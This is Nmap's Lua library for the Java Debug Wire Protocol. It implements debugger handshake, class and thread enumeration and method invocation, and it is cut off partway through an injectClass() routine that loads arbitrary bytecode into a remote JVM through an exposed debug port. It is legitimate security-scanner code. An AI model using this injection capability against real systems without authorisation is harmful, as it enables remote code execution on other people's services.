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--- JDWP (Java Debug Wire Protocol) library implementing a set of commands needed to -- use remote debugging port and inject java bytecode. -- -- There are two basic packet types in JDWP protool. -- Command packet and reply packet. Command packets are sent by -- a debugger to a remote port which replies with a reply packet. -- -- Simple handshake is needed to start the communication. -- The debugger sends a "JDWP-Handshake" string and gets the same as a reply. -- Each (command and reply packet) has an id field since communication can be asynchronous. -- Packet id can be monothonicaly increasing. -- Although communication can be asynchronous, it is not (at least in my tests) so the same -- packet id can be used for all communication. -- -- To start the connection, script should call <code>jdwp.connect()</code> which returns success -- status and a socket. All other protocol functions require a socket as their first parameter. -- -- Example of initiating connection: -- <code> -- local status,socket = jdwp.connect(host,port) -- if not status then -- stdnse.print_debug("error, %s",socket) -- end -- local version_info -- status, version_info = jdwp.getVersion(socket,0) -- </code> -- -- References: -- * http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html -- --@copyright Same as Nmap--See http://nmap.org/book/man-legal.html --@author Aleksandar Nikolic -- -- Version 0.1 -- Created 08/10/2012 - v0.1 - Created by Aleksandar Nikolic local stdnse = require "stdnse" local string = require "string" local bin = require "bin" local table = require "table" local nmap = require "nmap" _ENV = stdnse.module("jdwp", stdnse.seeall) -- JDWP protocol specific constants JDWP_CONSTANTS = { handshake = "JDWP-Handshake" -- Connection initialization handshake } -- List of error codes from: -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_Error ERROR_CODES = { [0] = "NONE No error has occurred.", [10] = "INVALID_THREAD Passed thread is null, is not a valid thread or has exited.", [11] = "INVALID_THREAD_GROUP Thread group invalid.", [12] = "INVALID_PRIORITY Invalid priority.", [13] = "THREAD_NOT_SUSPENDED If the specified thread has not been suspended by an event.", [14] = "THREAD_SUSPENDED Thread already suspended.", [20] = "INVALID_OBJECT If this reference type has been unloaded and garbage collected.", [21] = "INVALID_CLASS Invalid class.", [22] = "CLASS_NOT_PREPARED Class has been loaded but not yet prepared.", [23] = "INVALID_METHODID Invalid method.", [24] = "INVALID_LOCATION Invalid location.", [25] = "INVALID_FIELDID Invalid field.", [30] = "INVALID_FRAMEID Invalid jframeID.", [31] = "NO_MORE_FRAMES There are no more Java or JNI frames on the call stack.", [32] = "OPAQUE_FRAME Information about the frame is not available.", [33] = "NOT_CURRENT_FRAME Operation can only be performed on current frame.", [34] = "TYPE_MISMATCH The variable is not an appropriate type for the function used.", [35] = "INVALID_SLOT Invalid slot.", [40] = "DUPLICATE Item already set.", [41] = "NOT_FOUND Desired element not found.", [50] = "INVALID_MONITOR Invalid monitor.", [51] = "NOT_MONITOR_OWNER This thread doesn't own the monitor.", [52] = "INTERRUPT The call has been interrupted before completion.", [60] = "INVALID_CLASS_FORMAT The virtual machine attempted to read a class file and determined that the file is malformed or otherwise cannot be interpreted as a class file.", [61] = "CIRCULAR_CLASS_DEFINITION A circularity has been detected while initializing a class.", [62] = "FAILS_VERIFICATION The verifier detected that a class file, though well formed, contained some sort of internal inconsistency or security problem.", [63] = "ADD_METHOD_NOT_IMPLEMENTED Adding methods has not been implemented.", [64] = "SCHEMA_CHANGE_NOT_IMPLEMENTED Schema change has not been implemented.", [65] = "INVALID_TYPESTATE The state of the thread has been modified, and is now inconsistent.", [66] = "HIERARCHY_CHANGE_NOT_IMPLEMENTED A direct superclass is different for the new class version, or the set of directly implemented interfaces is different and canUnrestrictedlyRedefineClasses is false.", [67] = "DELETE_METHOD_NOT_IMPLEMENTED The new class version does not declare a method declared in the old class version and canUnrestrictedlyRedefineClasses is false.", [68] = "UNSUPPORTED_VERSION A class file has a version number not supported by this VM.", [69] = "NAMES_DONT_MATCH The class name defined in the new class file is different from the name in the old class object.", [70] = "CLASS_MODIFIERS_CHANGE_NOT_IMPLEMENTED The new class version has different modifiers and and canUnrestrictedlyRedefineClasses is false.", [71] = "METHOD_MODIFIERS_CHANGE_NOT_IMPLEMENTED A method in the new class version has different modifiers than its counterpart in the old class version and and canUnrestrictedlyRedefineClasses is false.", [99] = "NOT_IMPLEMENTED The functionality is not implemented in this virtual machine.", [100] = "NULL_POINTER Invalid pointer.", [101] = "ABSENT_INFORMATION Desired information is not available.", [102] = "INVALID_EVENT_TYPE The specified event type id is not recognized.", [103] = "ILLEGAL_ARGUMENT Illegal argument.", [110] = "OUT_OF_MEMORY The function needed to allocate memory and no more memory was available for allocation.", [111] = "ACCESS_DENIED Debugging has not been enabled in this virtual machine. JVMDI cannot be used.", [112] = "VM_DEAD The virtual machine is not running.", [113] = "INTERNAL An unexpected internal error has occurred.", [115] = "UNATTACHED_THREAD The thread being used to call this function is not attached to the virtual machine. Calls must be made from attached threads.", [500] = "INVALID_TAG object type id or class tag.", [502] = "ALREADY_INVOKING Previous invoke not complete.", [503] = "INVALID_INDEX Index is invalid.", [504] = "INVALID_LENGTH The length is invalid.", [506] = "INVALID_STRING The string is invalid.", [507] = "INVALID_CLASS_LOADER The class loader is invalid.", [508] = "INVALID_ARRAY The array is invalid.", [509] = "TRANSPORT_LOAD Unable to load the transport.", [510] = "TRANSPORT_INIT Unable to initialize the transport.", [511] = "NATIVE_METHOD", [512] = "INVALID_COUNT The count is invalid." } -- JDWP protocol Command packet as described at -- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html -- Each command packet has a Command Set number, Command Number and data required -- for that command. JDWPCommandPacket = { new = function(self,id,command_set,command, data) local o = { id = id, flags = 0, -- current specification has no flags defined for Command Packets command_set = command_set, command = command, data = data } setmetatable(o, self) self.__index = self return o end, -- Packs command packet as a string od bytes, ready to be sent -- to the target debugee. pack = function(self) local packed_packet if self.data == nil then packed_packet = bin.pack(">I",11) -- lenght - minimal header is 11 bytes else packed_packet = bin.pack(">I",11 + #self.data) -- lenght with data end packed_packet = packed_packet .. bin.pack(">I",self.id) packed_packet = packed_packet .. bin.pack(">C",0) -- flag packed_packet = packed_packet .. bin.pack(">C",self.command_set) packed_packet = packed_packet .. bin.pack(">C",self.command) if self.data then packed_packet = packed_packet .. self.data end return packed_packet end } -- JDWP protocol Reply packet as described at -- http://docs.oracle.com/javase/6/docs/technotes/guides/jpda/jdwp-spec.html -- Reply packets are recognized by 0x80 in flag field. JDWPReplyPacket = { new = function(self,length,id,error_code,data) local o = { length = length, id = id, flags = 0x80, -- no other flag is currently specified in the specification error_code = error_code, -- see ERROR_CODES table data = data -- reply data, contents depend on the command } setmetatable(o, self) self.__index = self return o end, -- Parses the reply into JDWPReplyPacket table. parse_reply = function(self,reply_packet) local pos,length,id,flags,error_code,data pos, length = bin.unpack(">I",reply_packet) pos, id = bin.unpack(">I",reply_packet,pos) pos, flags = bin.unpack(">C",reply_packet,pos) pos, error_code = bin.unpack(">S",reply_packet,pos) data = string.sub(reply_packet,pos) if flags == 0x80 then return true, JDWPReplyPacket:new(length,id,error_code,data) end stdnse.print_debug(2,"JDWP error parsing reply. Wrong reply packet flag. Raw data: ", stdnse.tohex(reply_packet)) return false, "JDWP error parsing reply." end } --- Negotiates the initial debugger-debugee handshake. -- --@param host Host to connect to. --@param port Port to connect to. --@return (status,socket) If status is false, socket is error message, otherwise socket is -- a newly created socket with initial handshake finished. function connect(host,port) local status, result,err local socket = nmap.new_socket("tcp") socket:set_timeout(10000) local status, err = socket:connect(host, port) if not status then stdnse.print_debug(2,"JDWP could not connect: %s",err) return status, err end status, err = socket:send(JDWP_CONSTANTS.handshake) if not status then stdnse.print_debug(2,"JDWP could not send handshake: %s",err) return status, err end status, result = socket:receive() if not status then stdnse.print_debug(2,"JDWP could not receive handshake: %s",result) return status, result end if result == JDWP_CONSTANTS.handshake then stdnse.print_debug("JDWP handshake successful.") return true, socket end return false, "JDWP handshake unsuccessful." end --- Helper function to pack regular string into UTF-8 string. -- --@param data String to pack into UTF-8. --@return utf8_string UTF-8 packed string. Four bytes lenght followed by the string its self. function toUTF8(data) local utf8_string = bin.pack(">i",#data) .. data return utf8_string end --- Helper function to read all Reply packed data which might be fragmented -- over multipe packets. -- --@param socket Socket to receive from. --@return (status,data) If status is false, error string is returned, else data contains read ReplyPacket bytes. function receive_all(socket) local status, result = socket:receive() if not status then return false,result end local data = result local _, expected_length = bin.unpack(">I",result) -- first 4 bytes of packet data is the ReplyPacket length while expected_length > #data do -- read until we get all the ReplyPacket data status,result = socket:receive() if not status then return true, data -- if somethign is wrong,return partial data end data = data .. result end return true,data end --- Helper function to extract ascii string from UTF-8 -- -- Writen in this way so it can be used interchangeably with bin.unpack(). -- --@param data Data from which to extract the string. --@param pos Offset into data string where to begin. --@return (pos,ascii_string) Returns position where the string extraction ended and actuall ascii string. local function extract_string(data,pos) local string_size if pos > #data then stdnse.print_debug(2,"JDWP extract_string() position higher than data length, probably incomplete data received.") return pos, nil end pos, string_size = bin.unpack(">I",data,pos) local ascii_string = string.sub(data,pos,pos+string_size) local new_pos = pos+string_size return new_pos,ascii_string end --- Helper function that sends the Command packet and parses the reply. -- --@param socket Socket to use to send the command. --@param command <code>JDWPCommandPacket</code> to send. --@return (status,data) If status is false, data contains specified error code message. If true, data contains data from the reply. function executeCommand(socket,command) socket:send(command:pack()) local status, result = receive_all(socket) if not status then return false, "JDWP executeCommand() didn't get a reply." end local reply_packet status, reply_packet = JDWPReplyPacket:parse_reply(result) if not status then return false, reply_packet end if not (reply_packet.error_code == 0) then -- we have a packet with error , error code 0 means no error occured return false, ERROR_CODES[reply_packet.error_code] end local data = reply_packet.data return true, data end --- VirtualMachine Command Set (1) -- Commands targeted at the debugggee virtual machine. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine --- Version Command (1) -- Returns the JDWP version implemented by the target VM as a table. -- -- Returns a table with following values: -- * 'description' Debugge vm verbose description. -- * 'jdwpMajor' Number representing major JDWP version. -- * 'jdwpMinor' Number representing minor JDWP version. -- * 'vmVersion' String representing version of the debuggee VM. -- * 'vmName' Name of the debuggee VM. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Version -- --@param socket Socket to use to send the command. --@param id Packet id. --@return (status,version_info) If status is false, version_info is an error string, else it contains remote VM version info. function getVersion(socket,id) local command = JDWPCommandPacket:new(id,1,1,nil) -- Version Command (1) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP getVersion() error : %s",data) return false,data end -- parse data local version_info = {description = "", jdwpMajor = 0, jdwpMinor = 0, vmVersion = "", vmName = ""} local vmVersionSize local pos pos, version_info.description = extract_string(data,0) pos, version_info.jdwpMajor = bin.unpack(">i",data,pos) pos, version_info.jdwpMinor = bin.unpack(">i",data,pos) pos, version_info.vmVersion = extract_string(data,pos) pos, version_info.vmName = extract_string(data,pos) return true, version_info end --- Classes by Signature command (2) -- Returns reference types for all the classes loaded by the target VM which match the given signature. -- -- Given the class signature (like "Ljava/lang/Class") returns it's reference ID which can be used to reference that class -- in other commands. Returns a list of tables containing following values: -- * 'refTypeTag' JNI type tag -- * 'referenceTypeID' Reference type of the class -- * 'status' Current class status. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_ClassesBySignature -- --@param socket Socket to use to send the command. --@param id Packet id. --@param signature Signature of the class. --@return (status,classes) If status is false, classes is an error string, else it contains list of found classes. function getClassBySignature(socket,id,signature) local command = JDWPCommandPacket:new(id,1,2,toUTF8(signature)) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP getClassBySignature() error : %s",data) return false,data end -- parse data local classes = {} local pos,number_of_classes = bin.unpack(">i",data) for i = 1, number_of_classes do local class_info = { refTypeTag = nil, referenceTypeID = nil, status = nil } pos, class_info.refTypeTag = bin.unpack("c",data,pos) pos, class_info.referenceTypeID = bin.unpack(">L",data,pos) pos, class_info.status = bin.unpack(">i",data,pos) table.insert(classes,class_info) end return true, classes end --- AllThreads Command (4) -- Returns all threads currently running in the target VM . -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllThreads -- --@param socket Socket to use to send the command. --@param id Packet id. --@return (status, threads) If status is false threads contains an error string, else it conatins a list of all threads in the debuggee VM. function getAllThreads(socket,id) local command = JDWPCommandPacket:new(id,1,4,nil) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP getAllThreads() error: %s", data) return false,data end -- parse data local pos,number_of_threads = bin.unpack(">i",data) local threads = {} for i = 1, number_of_threads do local thread pos, thread = bin.unpack(">L",data,pos) table.insert(threads,thread) end return true, threads end --- Resume Command (9) -- Resumes execution of the application after the suspend command or an event has stopped it. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_Resume -- --@param socket Socket to use to send the command. --@param id Packet id. --@return (status, nil) If status is false error string is returned, else it's null since this command has no data in the reply. function resumeVM(socket,id) local command = JDWPCommandPacket:new(id,1,9,nil) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP resumeVM() error: %s", data) return false,data end -- wait for event notification status, data = receive_all(socket) if not status then stdnse.print_debug(2,"JDWP resumeVM() event notification failed: %s", data) end return true, nil end --- CreateString Command (11) -- Creates new string object in the debuggee VM. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_CreateString -- --@param socket Socket to use to send the command. --@param id Packet id. --@param ascii_string String to create. --@return (status, stringID) If status is false error string is returned, else stringID is newly created string. function createString(socket,id,ascii_string) local command = JDWPCommandPacket:new(id,1,11,toUTF8(ascii_string)) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP createString() error: %s", data) return false,data end local _,stringID = bin.unpack(">L",data) return true, stringID end --- AllClassesWithGeneric Command (20) -- Returns reference types and signatures for all classes currently loaded by the target VM. -- -- Returns a list of tables containing following info: -- * 'refTypeTag' Kind of following reference type. -- * 'typeID' Loaded reference type -- * 'signature' The JNI signature of the loaded reference type. -- * 'genericSignature' The generic signature of the loaded reference type or an empty string if there is none. -- * 'status' The current class status. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_VirtualMachine_AllClassesWithGeneric -- --@param socket Socket to use to send the command. --@param id Packet id. --@return (status, all_classes) If status is false all_classes contains an error string, else it is a list of loaded classes information. function getAllClassesWithGeneric(socket,id) local command = JDWPCommandPacket:new(id,1,20,nil) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP getAllClassesWithGeneric() error: %s", data) return false,data end -- parse data local all_classes = {} local pos,number_of_classes = bin.unpack(">i",data) for i = 0 , number_of_classes do local class = { refTypeTag = nil, typeID = nil, signature = nil, genericSignature = nil, status = nil } if pos > #data then break end pos, class.refTypeTag = bin.unpack("C",data,pos) pos, class.typeID = bin.unpack(">L",data,pos) pos, class.signature = extract_string(data,pos) pos, class.genericSignature = extract_string(data,pos) pos, class.status = bin.unpack(">i",data,pos) table.insert(all_classes,class) end return true, all_classes end --- ReferenceType Command Set (2) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType --- SignatureWithGeneric Command (13) -- Returns the JNI signature of a reference type. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_SignatureWithGeneric -- --@param socket Socket to use to send the command. --@param id Packet id. --@param classID Reference type id of the class to get the signature from. --@return (status, signature) If status is false signature contains an error string, else it is class signature (like "Ljava/lang/Class"). function getSignatureWithGeneric(socket,id,classID) local command = JDWPCommandPacket:new(id,2,13,bin.pack(">L",classID)) -- Version Command (1) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP getVersion() error : %s",data) return false,data end local _,signature = extract_string(data,0) -- parse data return true,signature end --- MethodsWithGeneric Command (15) -- Returns information, including the generic signature if any, for each method in a reference type. -- -- Returns a list of tables containing following fields for each method: -- * 'methodID' Method ID which can be used to call the method. -- * 'name' The name of the method. -- * 'signature' The JNI signature of the method. -- * 'generic_signature' The generic signature of the method, or an empty string if there is none. -- * 'modBits' The modifier bit flags (also known as access flags) which provide additional information on the method declaration. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ReferenceType_MethodsWithGeneric -- --@param socket Socket to use to send the command. --@param id Packet id. --@param classID Reference type id of the class to get the list of methods. --@return (status, signature) If status is false methods contains an error string, else it a list of methods information. function getMethodsWithGeneric(socket,id,classID) local command = JDWPCommandPacket:new(id,2,15,bin.pack(">L",classID)) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP getMethodsWithGeneric() error : %s",data) return false,data end -- parse data local methods = {} local pos,number_of_methods = bin.unpack(">i",data) for i = 1, number_of_methods do local method_info = { methodID = nil, name = nil, signature = nil, generic_signature = nil, modBits = nil } pos, method_info.methodID = bin.unpack(">i",data,pos) pos,method_info.name = extract_string(data,pos) pos, method_info.signature = extract_string(data,pos) pos,method_info.generic_signature = extract_string(data,pos) pos, method_info.modBits = bin.unpack(">i",data,pos) table.insert(methods,method_info) end return true, methods end --- ClassType Command Set (3) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType --- InvokeMethod Command (3) -- Invokes a class' static method and returns the reply data. -- -- Reply data can vary so parsing is left to the function caller. -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_InvokeMethod -- --@param socket Socket to use to send the command. --@param id Packet id. --@param classID Reference type id of the class. --@param methodID ID of the static method to call. --@numberOfArguments Number of method arguments. --@arguments Already packed arguments. --@options Invocation options. --@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy. function invokeStaticMethod(socket,id,classID,methodID,numberOfArguments,arguments,options) local params if numberOfArguments == 0 then params = bin.pack(">Liii",classID,methodID,numberOfArguments,options) else params = bin.pack(">Lii",classID,methodID,numberOfArguments) .. arguments .. bin.pack(">i",options) end local command = JDWPCommandPacket:new(id,3,3,params) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP invokeStaticMethod() error: %s", data) return false,data end return true,data end --- NewInstance Command (4) -- Creates a new object of this type, invoking the specified constructor. -- The constructor method ID must be a member of the class type. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassType_NewInstance -- --@param socket Socket to use to send the command. --@param id Packet id. --@param classID Reference type id of the class. --@param threadID The thread in which to invoke the constructor. --@param methodID The constructor to invoke. --@numberOfArguments Number of constructor arguments. --@arguments Already packed arguments. --@return (status, objectID) If status is false data contains an error string, else it contains a reference ID of the newly created object. function newClassInstance(socket,id,classID,threadID,methodID,numberOfArguments,arguments) local params if numberOfArguments == 0 then params = bin.pack(">LLiii",classID,threadID,methodID,numberOfArguments,0) else params = bin.pack(">LLii",classID,threadID,methodID,numberOfArguments) .. arguments end local command = JDWPCommandPacket:new(id,3,4,params) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP newClassInstance() error: %s", data) return false,data end -- parse data stdnse.print_debug("newClassInstance data: %s",stdnse.tohex(data)) local pos, tag = bin.unpack(">C",data) local objectID pos, objectID = bin.unpack(">L",data,pos) return true,objectID end --- ArrayType Command Set (4) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType --- NewInstance Command (1) -- Creates a new array object of the specified type with a given length. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayType_NewInstance -- --@param socket Socket to use to send the command. --@param id Packet id. --@param arrayType The array type of the new instance as per JNI (http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502). --@param length Length of the new array. --@return (status, arrayID) If status is false data contains an error string, else it contains a reference ID of the newly created array. function newArrayInstance(socket,id,arrayType,length) local params = bin.pack(">Li",arrayType,length) local command = JDWPCommandPacket:new(id,4,1,params) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP newArrayInstance() error: %s", data) return false,data end local pos,_ , tag, arrayID pos, tag = bin.unpack("C",data) _, arrayID = bin.unpack(">L",data,pos) return true, arrayID end --- ObjectReference Command Set (9) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference --- ReferenceType Command (1) -- Returns the runtime type of the object. The runtime type will be a class or an array. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_ReferenceType -- --@param socket Socket to use to send the command. --@param id Packet id. --@param objectID The ID of an object. --@return (status, runtime_type) If status is false runtime_type contains an error string, else it contains runtime type of an object. function getRuntimeType(socket,id,objectID) local command = JDWPCommandPacket:new(id,9,1,bin.pack(">L",objectID)) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP resumeVM() error: %s", data) return false,data end local _,tag,runtime_type = bin.unpack(">CL",data) stdnse.print_debug("runtime type: %d",runtime_type) return true,runtime_type end --- InvokeMethod Command (6) -- Invokes a instance method with specified parameters. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ObjectReference_InvokeMethod -- --@param socket Socket to use to send the command. --@param id Packet id. --@param objectID The ID of an object. --@param threadID The thread in which to invoke. --@param classID The class type. --@param methodID ID of the method to invoke. --@param numberOfArguments Number of method arguments. --@arguments Already packed arguments. --@return (status, data) If status is false data contains an error string, else it contains a reply data and needs to be parsed manualy. function invokeObjectMethod(socket,id,objectID,threadID,classID,methodID,numberOfArguments,arguments) local params if numberOfArguments == 0 then params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) else params = bin.pack(">LLLii",objectID,threadID,classID,methodID,numberOfArguments) .. arguments end local command = JDWPCommandPacket:new(id,9,6,params) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP invokeObjectMethod() error: %s", data) return false,data end stdnse.print_debug("invoke obj method data: %s ",stdnse.tohex(data)) return true,data end --- StringReference Command Set (10) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference --- Value Command (1) -- Returns the characters contained in the string. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_StringReference_Value -- --@param socket Socket to use to send the command. --@param id Packet id. --@param stringID The ID of a string to read. --@return (status, data) If status is false result contains an error string, else it contains read string. function readString(socket,id,stringID) local command = JDWPCommandPacket:new(id,10,1,bin.pack(">L",stringID)) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP readString() error: %s", data) return false,data end local _,result = extract_string(data,0) return true,result end --- ThreadReference Command Set (11) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference --- Name Command (1) -- Returns the thread name. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Name -- --@param socket Socket to use to send the command. --@param id Packet id. --@param threadID The ID of a thread. --@return (status, thread_name) If status is false thread_name contains an error string, else it contains thread's name. function getThreadName(socket,id,threadID) local params = bin.pack(">L",threadID) local command = JDWPCommandPacket:new(id,11,1,params) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP getThreadName() error: %s", data) return false,data end -- parse data local _,thread_name = extract_string(data,0) return true, thread_name end --- Suspend Command (2) -- Suspends the thread. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Suspend -- --@param socket Socket to use to send the command. --@param id Packet id. --@param threadID The ID of a thread. --@return (status, thread_name) If status is false an error string is returned, else it's nil. function suspendThread(socket,id,threadID) local params = bin.pack(">L",threadID) local command = JDWPCommandPacket:new(id,11,2,params) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP suspendThread() error: %s", data) return false,data end return true, nil end --- Status Command (4) -- Returns the current status of a thread. -- -- Thread status is described with ThreadStatus and SuspendStatus constants (http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadStatus). -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ThreadReference_Status -- --@param socket Socket to use to send the command. --@param id Packet id. --@param threadID The ID of a thread. --@return (status, thread_name) If status is false an error string is returned, else unparsed thread status data. function threadStatus(socket,id,threadID) local params = bin.pack(">L",threadID) local command = JDWPCommandPacket:new(id,11,4,params) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP threadStatus() error: %s", data) return false,data end stdnse.print_debug("threadStatus %s",stdnse.tohex(data)) return true, data end --- ArrayReference Command Set (13) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference --- SetValues Command (3) -- Sets a range of array components. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ArrayReference_SetValues -- --@param socket Socket to use to send the command. --@param id Packet id. --@param objectID The ID of an array object. --@return (status, data) If status is false an error string is returned, else it's nil. function setArrayValues(socket,id,objectID,idx,values) local params = bin.pack(">Lii",objectID,idx,#values) .. values local command = JDWPCommandPacket:new(id,13,3,params) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP setArrayValues() error: %s", data) return false,data end return true, nil end --- EventRequest Command Set (15) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest --- Uses Set Command (1) to set singlesteping to specified thread. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set -- --@param socket Socket to use to send the command. --@param id Packet id. --@param threadID The ID of the thread. --@return (status, requestID) If status is false an error string is returned, else it contains assigned request id. function setThreadSinglestep(socket,id,threadID) local params = bin.pack(">CCiCLii",1,2,1,10,threadID,0,0) -- event options see http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Set local command = JDWPCommandPacket:new(id,15,1,params) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP setThreadSinglestep() error: %s", data) return false,data end local _, requestID = bin.unpack(">i",data) return true, requestID end --- Uses Clear Command (2) to unset singlesteping from a thread by specified event. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_EventRequest_Clear -- --@param socket Socket to use to send the command. --@param id Packet id. --@param eventID The ID of the thread. --@return (status, requestID) If status is false an error string is returned, else it's nil. function clearThreadSinglestep(socket,id,eventID) local params = bin.pack(">Ci",1,eventID) local command = JDWPCommandPacket:new(id,15,2,params) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP clearThreadSinglestep() error: %s", data) return false,data end return true,nil end --- ClassObjectReference Command Set (17) -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference --- ReflectedType Command (1) -- Returns the reference type reflected by this class object. -- -- http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html#JDWP_ClassObjectReference_ReflectedType -- --@param socket Socket to use to send the command. --@param id Packet id. --@param classObjectID The ID of the object. --@return (status, reflected_type) If status is false an error string is returned, else reflected_type is object's reference type. function getReflectedType(socket,id,classObjectID) local _, param local command = JDWPCommandPacket:new(id,17,1,bin.pack(">L",classObjectID)) local status, data = executeCommand(socket,command) if not status then stdnse.print_debug(2,"JDWP getReflectedType() error: %s", data) return false,data end local reflected_type = { refTypeTag = nil, typeID = nil } _,reflected_type.refTypeTag, reflected_type.typeID = bin.unpack(">CL",data) return true, reflected_type end --- Helper function to find a method ID by its name. -- -- @param socket Socket to use for communication. -- @param class ID of the class whose method we seek. -- @param methodName Name of the method. -- @param skipFirst Skip first found method. function findMethod(socket,class,methodName,skipFirst) local methodID local status, methods = getMethodsWithGeneric(socket,0,class) if not status then return false end for _, method in ipairs(methods) do -- find first constructor and first defineClass() method stdnse.print_debug(2,"Method name: %s", method.name) if methodID == nil then if string.find(method.name,methodName) then if skipFirst then skipFirst = false else methodID = method.methodID end end end end return methodID end --- Tries to inject specified bytes as a java class and create its instance. -- -- Returns a table containing following fields: -- * 'id' Injected class reference ID. -- * 'instance' Inected calss' instance reference ID. -- * 'thread' Thread in which the class was injected and instantiated. -- -- @param socket Socket to use for communication. -- @param class_bytes String of bytes of a java class file to inject. -- @return (status,injectedClass) If status is false, an error message is returned, else returns a table with injected class info. function injectClass(socket,class_bytes) local classes,status -- find byte array class id needed to create new array to load our bytecode into status,classes = getAllClassesWithGeneric(socket,0) if not status then stdnse.print_debug("getAllClassesWithGeneric failed: %s", classes) return false end local byteArrayID for _,class in ipairs(classes) do if string.find(class.signature,"%[B") then byteArrayID = class.typeID break end end if byteArrayID == nil then stdnse.print_debug("finding byte arrray id failed") return false end stdnse.print_debug("Found byte[] id %d",byteArrayID) -- find SecureClassLoader id by signature status, classes = getClassBySignature(socket,0,"Ljava/security/SecureClassLoader;") if not status then return false end local secureClassLoader = classes[1].referenceTypeID stdnse.print_debug("Found SecureClassLoader id %d",secureClassLoader) -- find SecureClassLoader() constructor local constructorMethodID = findMethod(socket,secureClassLoader,"<init>",true) -- find ClassLoader id by signature status, classes = getClassBySignature(socket,0,"Ljava/lang/ClassLoader;") if not status then return false end local classLoader = classes[1].referenceTypeID 